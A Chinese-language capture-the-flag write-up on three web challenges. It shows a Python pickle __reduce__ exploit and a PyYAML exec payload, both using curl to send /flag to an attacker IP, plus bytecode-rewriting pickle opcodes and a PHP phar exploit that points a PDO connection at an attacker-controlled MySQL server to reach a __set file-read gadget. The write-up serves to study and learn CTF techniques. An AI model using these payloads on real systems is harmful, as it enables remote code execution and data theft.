2024年最后一次的das,web终于也是没有爆零了,最后一题的1解题看了gxn大哥的wp也是学到新东西了,这里记录一下
官方wp:https://www.yuque.com/chuangfeimeiyigeren/eeii37/oxv3gaim7fr89ed2?singleDoc
const_python 题目源码:
import builtinsimport ioimport sysimport uuidfrom flask import Flask, request,jsonify,sessionimport pickleimport base64 app = Flask(__name__) app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" )class User : def __init__ (self, username, password, auth='ctfer' ): self.username = username self.password = password self.auth = auth password = str (uuid.uuid4()).replace("-" , "" ) Admin = User('admin' , password,"admin" )@app.route('/' ) def index (): return "Welcome to my application" @app.route('/login' , methods=['GET' , 'POST' ] ) def post_login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] if username == 'admin' : if password == admin.password: session['username' ] = "admin" return "Welcome Admin" else : return "Invalid Credentials" else : session['username' ] = username return ''' <form method="post"> <!-- /src may help you> Username: <input type="text" name="username"><br> Password: <input type="password" name="password"><br> <input type="submit" value="Login"> </form> ''' @app.route('/ppicklee' , methods=['POST' ] ) def ppicklee (): data = request.form['data' ] sys.modules['os' ] = "not allowed" sys.modules['sys' ] = "not allowed" try : pickle_data = base64.b64decode(data) for i in {"os" , "system" , "eval" , 'setstate' , "globals" , 'exec' , '__builtins__' , 'template' , 'render' , '\\' , 'compile' , 'requests' , 'exit' , 'pickle' ,"class" ,"mro" ,"flask" ,"sys" ,"base" ,"init" ,"config" ,"session" }: if i.encode() in pickle_data: return i+" waf !!!!!!!" pickle.loads(pickle_data) return "success pickle" except Exception as e: print (str (e)) return "fail pickle" @app.route('/admin' , methods=['POST' ] ) def admin (): username = session['username' ] if username != "admin" : return jsonify({"message" : 'You are not admin!' }) return "Welcome Admin" @app.route('/src' ) def src (): return open ("app.py" , "r" ,encoding="utf-8" ).read()if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=True , port=5000 )
这里的黑名单没有过滤import和subprocess,直接写个常规的reduce函数用curl外带一下flag即可,一开始用opcode不知道为什么打不通,这是队友的exp
import pickleimport base64class User : def __init__ (self, username, password, auth='ctfer' ): self.username = username self.password = password self.auth = auth def __reduce__ (self ): host = '<ip地址>' port = 8888 return __import__ ("subprocess" ).run, ([ 'curl' , '-d' , '@/flag' , f'http://{host} :{port} /test' ],) user = User('test' , 'test' ) data = pickle.dumps(user)print (data) data = base64.b64encode(data)print (data)
官方解法 后来看官方wp,上面的解法是出题的时候没过滤干净,导致非预期,官方的是修改常量字节码,第一次见,学习一下
总结一下思路,就是先写一个读文件的函数,然后获取他的代码对象,然后修改代码对象中的常量属性,用types.CodeType构建新的代码对象,然后调用新的函数,达到修改返回文件内容的效果
大致的过程如下:
import builtinsimport typesdef src (): return open ("app.py" , "r" ,encoding="utf-8" ).read()for i in src.__code__.__dir__(): print (f"{i} : {getattr (src.__code__, i)} " ) g1 = builtins.getattr g2 = getattr (src,"__code__" ) g3 = getattr (g2,"co_argcount" ) g4 = getattr (g2,"co_posonlyargcount" ) g5 = getattr (g2,"co_kwonlyargcount" ) g6 = getattr (g2,"co_nlocals" ) g7 = getattr (g2,"co_stacksize" ) g8 = getattr (g2,"co_flags" ) g9 = getattr (g2,"co_code" ) g10 = (None , 'flag' , 'r' , 'utf-8' , ('encoding' ,)) g11 = getattr (g2,"co_names" ) g12 = getattr (g2,"co_varnames" ) g13 = getattr (g2,"co_filename" ) g14 = getattr (g2,"co_name" ) g15 = getattr (g2,"co_firstlineno" ) g16 = getattr (g2,"co_lnotab" ) g17 = getattr (g2,"co_freevars" ) g18 = getattr (g2,"co_cellvars" ) g19 = types.CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18) g20 = builtins.setattr g20(src,"__code__" ,g19)print (src())
但上面的参数位置可能有点问题,也许是我的python版本和wp里的不太一样,这里就懒得调了,学习一下思路
然后就是构建opcode
op3 = b'''cbuiltins getattr p0 c__main__ src p3 g0 (g3 S'__code__' tRp4 g0 (g4 S'co_argcount' tRp5 g0 (g4 S'co_argcount' tRp6 g0 (g4 S'co_kwonlyargcount' tRp7 g0 (g4 S'co_nlocals' tRp8 g0 (g4 S'co_stacksize' tRp9 g0 (g4 S'co_flags' tRp10 g0 (g4 S'co_code' tRp11 (NS'/flag' S'r' S'utf-8' (S'encoding' ttp12 g0 (g4 S'co_names' tRp13 g0 (g4 S'co_varnames' tRp14 g0 (g4 S'co_filename' tRp15 g0 (g4 S'co_name' tRp16 g0 (g4 S'co_firstlineno' tRp17 g0 (g4 S'co_lnotab' tRp18 g0 (g4 S'co_freevars' tRp19 g0 (g4 S'co_cellvars' tRp20 ctypes CodeType (g5 I0 g7 g8 g9 g10 g11 g12 g13 g14 g15 g16 g17 g18 g19 g20 tRp21 cbuiltins setattr (g3 S"__code__" g21 tR.'''
获取builtins
的getattr方法,通过getattr获取到src的__code__
,继而获得co_const
等参数,获取builtins
的setattr,修改__code__
为新的CodeType(着实不太会写这么长的opcode😭)
yaml_matser 这个找到文章,有payload是没有过滤的可以直接打:https://www.freebuf.com/vuls/256243.html,https://xz.aliyun.com/t/12481?time__1311=GqGxRQqiuDyDlrzG78GOW%3Di%3DmER87o%3DoD
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数 !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__('os').system('whoami')"
然后利用python的引号直接拼接,再套一层exec即可
里面参数改一下,改成这样形式拼接即可
exec(\"__import__('o''s').sys\"\"tem('ca''lc')\")
然后他能出网,可以用拼接绕过curl,最终exp如下:
!!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "exec(\"__import__('o''s').sys\"\"tem('cu''rl http://<ip地址>:8888 -d `cat /flag`')\")"
官方解法 这里学到官方的一个回显技巧,通过Server请求头带出数据
werkzeug.serving.WSGIRequestHandler这个处理器是用来处理请求头的
Server头的值是server_version属性和sys_version属性拼接在一起的
那我们只需要想办法修改server_version属性或者sys_version属性即可带出数据了
用setattr就可以改了,完整yaml如下:
!!python/object /new:type args: - exp - !!python/tuple [] - {"extend" : !!python/name:exec } listitems: | bb=open ("/flag" ).read() import werkzeug setattr (werkzeug.serving.WSGIRequestHandler, "server_version" ,bb )
strange_php 一个php写的留言板应用,需要我们进行代码审计,但是很多地方的后缀都是写死的,只有一个地方的文件路径我们是可以控制的
就在welcome.php的delete模块的地方
<?php header ('Content-Type: text/html; charset=utf-8' );session_start ();require_once 'PDO_connect.php' ;require_once 'User.php' ;require_once 'UserMessage.php' ;if (!isset ($_SESSION ['user_id' ])) { header ("Location: index.html" ); exit ; }$Message = new UserMessage ();$userMessage = new UserMessage ();$database = new PDO_connect ();$database ->init ();$db = $database ->get_connection ();if (isset ($_POST ['action' ])) { $action = $_POST ['action' ]; echo $action ; switch ($action ) { case 'message' : echo "write messageing" ; $decodedMessage = base64_decode ($_POST ['encodedMessage' ]); $msg = $userMessage ->writeMessage ($decodedMessage ); if ($msg ===false ){ echo "写入失败" ; break ; } $filePath = $userMessage ->get_filePath (); $_SESSION ['message_path' ] = $filePath ; echo "留言已写入: " . $userMessage ->get_filePath (); break ; case 'editMessage' : $decodedEditMessage = base64_decode ($_POST ['encodedEditMessage' ]); if (!isset ($_SESSION ['message_path' ])){ break ; } $msg = $userMessage ->editMessage ($_SESSION ['message_path' ],$decodedEditMessage ); if ($msg ){ echo "留言已成功更改" ; } else { echo "操作失败,请重新尝试" ; } break ; case 'delete' : $message = $_POST ['message_path' ]?$_POST ['message_path' ]:$_SESSION ['message_path' ]; $msg = $userMessage ->deleteMessage ($message ); if ($msg ){ echo "留言已成功删除" ; } else { echo "操作失败,请重新尝试" ; } break ; case 'clean' : exec ('rm log/*' ); exec ('rm txt/*' ); } }?>
这里调用deleteMessage方法传入我们要删除的文件路径
phar反序列化的触发 然后这里调用了file_exists()函数判断是否存在该文件,一开始审到这里我是不知道这能触发phar反序列化的,在队友提醒下才知道🥲,然后找了找,这篇文章有介绍能够触发phar的函数:https://blog.csdn.net/weixin_53912233/article/details/136201466
这里也记录一下能够触发phar反序列化的方法
一些触发phar的敏感函数:
fileatime / filectime / filemtime stat / fileinode / fileowner / filegroup / fileperms file / file_get_contents / readfile / fopen file_exists / is_dir / is_executable / is_file is_link / is_readable / is_writeable / is_writable parse_ini_file unlink copy
其他触发函数:
image exif_thumbnail exif_imagetype imageloadfont imagecreatefrom*** getimagesize getimagesizefromstring hash hash_hmac_file hash_file hash_update_file md5_file sha1_file file / url get_meta_tags get_headers
寻找反序列化的点 然后就是找要触发什么链子了,但是全文就一个_set魔术方法
<?php class UserMessage { private $filePath ; public function __construct ( ) { $this ->filePath = $this ->generateFileName (); } public function writeMessage ($message ) { $a = file_put_contents ($this ->filePath, $message ); if ($a === false ) { return false ; } return true ; } public function editMessage ($path ,$newMessage ) { if (file_exists ($path )) { file_put_contents ($path , $newMessage ); return true ; } return false ; } public function get_filePath ( ) { return $this ->filePath; } public function __set ($name , $value ) { $this ->$name = $value ; $a = file_get_contents ($this ->filePath)."</br>" ; file_put_contents ("/var/www/html/log/" .md5 ($this ->filePath).".txt" , $a ); } public function deleteMessage ($path ) { $path = $path .".txt" ; if (file_exists ($path )) { $msg = unlink ($path ); if ($msg === false ) { return false ; } return true ; } return false ; } public function generateFileName ( ) { $timestamp = microtime (true ); $hash = md5 ($timestamp ); $fileName = "./txt/" .$hash . ".txt" ; return $fileName ; } public function readMessage ( ) { if (file_exists ($this ->filePath)) { $message = file_get_contents ($this ->filePath); return $message ; } return null ; } }
没想到什么触发的方法,如果能触发且filepath可控,就可以直接读取flag文件然后写到日志文件中,然后就想能不能打原生类读文件什么的,也没有找到相关的方法,所以就卡着了。
唯一解就是gxn大哥的解,看了gxn大哥wp发现是用PDO来触发,然后突然想起来我在搜索的时候也看到相关的文章:https://xz.aliyun.com/t/6699?time__1311=n4%2BxnD0Dg7KQq0KGQ3DsA3xCwqWqobqxET2oTD#toc-3
虽然这里也是用PDO的但是和本题的解法不一样,这篇文章里的phar有机会也学一下水篇文章
接下来说说本题的解法,这个思路看完之后确实妙,是本菜鸡想不出来的思路😭
这里关键就是触发__set魔术方法,我们知道__set方法就是访问不存在的属性的时候会触发,我们可以关注一下PDO_connect.php这个类
<?php class PDO_connect { private $pdo ; public $con_options = []; public $smt ; public function __construct ( ) { } public function init ( ) { $this ->con_options = array ( "dsn" =>"mysql:host=localhost:3306;dbname=users;charset=utf8" , 'host' =>'127.0.0.1' , 'port' =>'3306' , 'user' =>'joker' , 'password' =>'joker' , 'charset' =>'utf8' , 'options' =>array (PDO::ATTR_DEFAULT_FETCH_MODE =>PDO::FETCH_ASSOC , PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ) ); } public function get_connection ( ) { $this ->conn = null ; try { $this ->conn = new PDO ($this ->con_options['dsn' ], $this ->con_options['user' ], $this ->con_options['password' ]); if ($this ->con_options['options' ][PDO::ATTR_ERRMODE ]){ $this ->conn->setAttribute (PDO::ATTR_ERRMODE , $this ->con_options['options' ][PDO::ATTR_ERRMODE ]); } if (isset ($this ->con_options['options' ][PDO::ATTR_DEFAULT_FETCH_MODE ])){ $this ->conn->setAttribute (PDO::ATTR_DEFAULT_FETCH_MODE , $this ->con_options['options' ][PDO::ATTR_DEFAULT_FETCH_MODE ]); } } catch (PDOException $e ) { echo 'Connection Error: ' . $e ->getMessage (); } return $this ->conn; } }
这里有个option,可以设置一些PDO相关的选项,这里有两个选项
PDO::ATTR_DEFAULT_FETCH_MODE PDO::ATTR_ERRMODE
这两个选项可以翻一番官方文档知道是干什么的:https://www.php.net/manual/zh/pdostatement.fetch.php
第二个是设置报错方式,不是什么重点内容
重点是第一个
也就是设置默认获取数据时候的形式,那就是和调用fetch方法有关,这里可以再看一下User.php的源码
类里面有一个log方法
public function log ( ) { try { $sql = "select * from users where username = :username" ; $pdo = $this ->conn->get_connection (); $stmt = $pdo ->prepare ($sql ); $stmt ->bindParam (':username' , $this ->username); $stmt ->execute (); $result = $stmt ->fetch (); return $result ; }catch (PDOException $e ){ echo $e ->getMessage (); } }
这里的fetch方法执行的是默认获取参数,其他的都是写死的,欸然后思路就打开了,我们就可以通过我们已知的phar反序列化去改变这个连接属性,至于改什么呢,我们可以改成下面这个262144
public const FETCH_CLASSTYPE = 262144 ;
我们点进源码翻就可以翻到这个属性,该属性的意思就是根据第一列的值来确定类名
具体是什么意思呢,就是我们fetch返回的时候,PDO 会检查结果集的第一列,并将该列的值作为类名来创建对象。如果该列的值为字符串 “classname”,则 PDO 会尝试实例化一个名为 “classname” 的类的对象。
然后这里还有一点,他会将其余的列名设置为该对象的属性,也就是自动初始化且访问属性并赋值了这里有问题后面说🥲
这里还重新调用了一遍get_connection方法,所以这也确定是我们的入口类了
那么也就是说,我们可以通过phar修改PDO_connect的配置,让他连接我们自己的远程数据库,然后返回一个存在的对象,但是列名是不存在的属性,从而可以触发我们的_set方法
我们本地可以测试一下,代码如下:
<?php class Test { public $username ; public $password ; public function __set ($name , $value ) { echo "setup!" ; } }$conn =new PDO ("mysql:host=localhost:3306;dbname=test;charset=utf8" , "root" , "123456" );$conn ->setAttribute (PDO::ATTR_DEFAULT_FETCH_MODE , PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE );$conn ->setAttribute (PDO::ATTR_ERRMODE , PDO::ERRMODE_EXCEPTION );$sql = "SELECT * FROM das" ;$stmt = $conn ->prepare ($sql ); $stmt ->execute (); $result = $stmt ->fetch ();var_dump ($result );
表结构如下:
最后的结果如下:
但是这里有个问题,一开始我以为是gxn大哥的数字写错了,因为FETCH_CLASSTYPE
的数字并不是262152,然后我就只设置了FETCH_CLASSTYPE这个属性,但是发现他会报错:
PDOException: SQLSTATE[HY000]: General error: PDO::FETCH_CLASSTYPE can only be used together with PDO::FETCH_CLASS
说还需要配合FETCH_CLASS
使用,然后再去找一下这个属性
public const FETCH_CLASS = 8 ;
大体意思就是说,fetch方法返回一个类,然后将列映射到命名属性上面,如果请求的类不存在该属性,则调用__set方法,所以这个才是最关键的属性,然后FETCH_CLASSTYPE相当于指定了类的名字,有点类似过滤器的意思了,然后他们两个的值或出来 8 | 262144 = 262152,刚好就是262152。(这里看了我半天真的😭)
所以这么写也是可以的
$conn ->setAttribute (PDO::ATTR_DEFAULT_FETCH_MODE ,262152 );
那我们这里就是可以然后数据库返回UserMessage对象,设置filePath的值,再添加一个不存在的属性即可,数据库的结构如下,直接偷gxn大哥的图了
最后的exp就是gxn大哥的exp
<?php class User { private $conn ; private $table = 'users' ; public $id ; public $username ="UserMessage" ; private $password ="aaaa" ; public $created_at ; public function __construct ( ) { $this ->conn = new PDO_connect ();; } }class PDO_connect { private $pdo ; public $con_options = array ( "dsn" =>"mysql:host=<vps>:3306;dbname=<dbname>;charset=utf8" , 'host' =>'<vps>' , 'port' =>'3306' , 'user' =>'joker' , 'password' =>'joker' , 'charset' =>'utf8' , 'options' =>array (PDO::ATTR_DEFAULT_FETCH_MODE =>262152 , PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ) ); public $smt ; }$a =new User ();$phar = new Phar ("ppppp.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->addFromString ("happy.txt" , 'happy' ); $phar ->setMetadata ($a );$phar ->stopBuffering ();$file_contents = file_get_contents ("ppppp.phar" );echo urlencode (base64_encode ($file_contents ));
这里buu靶机维护了,本地不太好测,但打法已经很清楚了,就到这吧,学习到了orz
参考 https://www.cnblogs.com/gxngxngxn/p/18620905
https://xz.aliyun.com/t/6699?time__1311=n4%2BxnD0Dg7KQq0KGQ3DsA3xCwqWqobqxET2oTD